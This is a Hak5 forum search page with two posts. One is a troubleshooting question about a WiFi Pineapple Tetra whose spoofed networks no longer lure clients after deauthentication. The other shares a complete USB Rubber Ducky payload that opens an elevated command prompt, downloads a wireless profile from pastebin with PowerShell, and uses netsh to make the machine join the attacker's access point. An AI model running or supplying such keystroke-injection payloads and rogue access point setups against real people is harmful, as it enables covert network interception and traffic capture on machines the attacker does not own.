Jump to content

Search the Community

Showing results for tags 'association'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Talk
    • Everything Else
    • Gaming
    • Questions
    • Business and Enterprise IT
    • Security
    • Hacks & Mods
    • Applications & Coding
    • Trading Post
  • Hak5 Gear
    • Hak5 Cloud C²
    • WiFi Pineapple Mark VII
    • USB Rubber Ducky
    • Bash Bunny
    • Key Croc
    • Packet Squirrel
    • Shark Jack
    • Signal Owl
    • LAN Turtle
    • Screen Crab
    • Plunder Bug
  • O.MG (Mischief Gadgets)
    • O.MG Cable
    • O.MG DemonSeed EDU
  • WiFi Pineapple (previous generations)
    • WiFi Pineapple TETRA
    • WiFi Pineapple NANO
    • WiFi Pineapple Mark V
    • WiFi Pineapple Mark IV
    • Pineapple Modules
    • WiFi Pineapples Mark I, II, III
  • Hak5 Shows
  • Community
    • Forums and Wiki
    • #Hak5
  • Projects
    • SDR - Software Defined Radio
    • Community Projects
    • Interceptor
    • USB Hacks
    • USB Multipass
    • Pandora Timeshifting

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Enter a five letter word.

Found 2 results

  1. When I initially setup my Tetra everything worked fine but now I seem to be having 2 issues that are probably related. 1) I now notice that when the spoofed SSIDs are broadcast that they show up with the exclamation point and registers as unsecure (on Windows) in the Network Manager. The spoofed SSIDs don't show up at all on my android and I have not tested it on Mac or Linux. Any ideas on why this may be and how I can change it? 2) The next thing is that clients no longer associate after deauthentication. The broadcast APs have to be manually selected in order to connect. I suspect this is because the APs are showing up as unsecure and therefore the clients just reconnect to the original AP even after deauth packets are sent. All clients and SSIDs have been added to Filtering with both in Allow Mode. I have increased both the Beacon Response & Broadcast SSID Pool Interval to aggressive with the same results. I also have shutdown, restarted and reset the Tetra a couple of times. I am running Kali with the Tetra connected by Y cable. Any ideas what's going on?
  2. Hi guys, I was browsing through a couple of the old payloads on the USB Rubber Ducky wiki and saw that one had been written to associate with the wifi pineapple. The method that was used went through the GUI and took too long. I decided that it must be possible to accomplish using netsh. I threw this script together (originally for my Teensy++, but I rewrote it for the ducky). It uses Mubix' powershell code to download an xml file from pastebin (that I uploaded) and then adds it to the wireless profile using netsh. The whole process takes roughly 6-7 seconds on my Teensy, would be great to hear how you guys get on with it on the ducky! Here is the code: REM Brought to you by Xcellerator DEFAULT_DELAY 200 DELAY 3000 GUI r STRING cmd MENU STRING a ENTER LEFT ENTER STRING cd %TEMP% ENTER STRING powershell (new-object System.Net.WebClient).DownloadFile('http://pastebin.com/raw.php?i=8WsHSWdZ','%TEMP%\a.xml') ENTER DELAY 1000 ENTER STRING netsh wlan add profile filename="a.xml" interface="Wireless Network Connection" ENTER STRING del a.xml ENTER STRING exit ENTER [/CODE] You can also find it on the wiki https://github.com/h...ion-(VERY-FAST). The Teensy Version can be found here: http://pastebin.com/c9KSdNAe
×
×
  • Create New...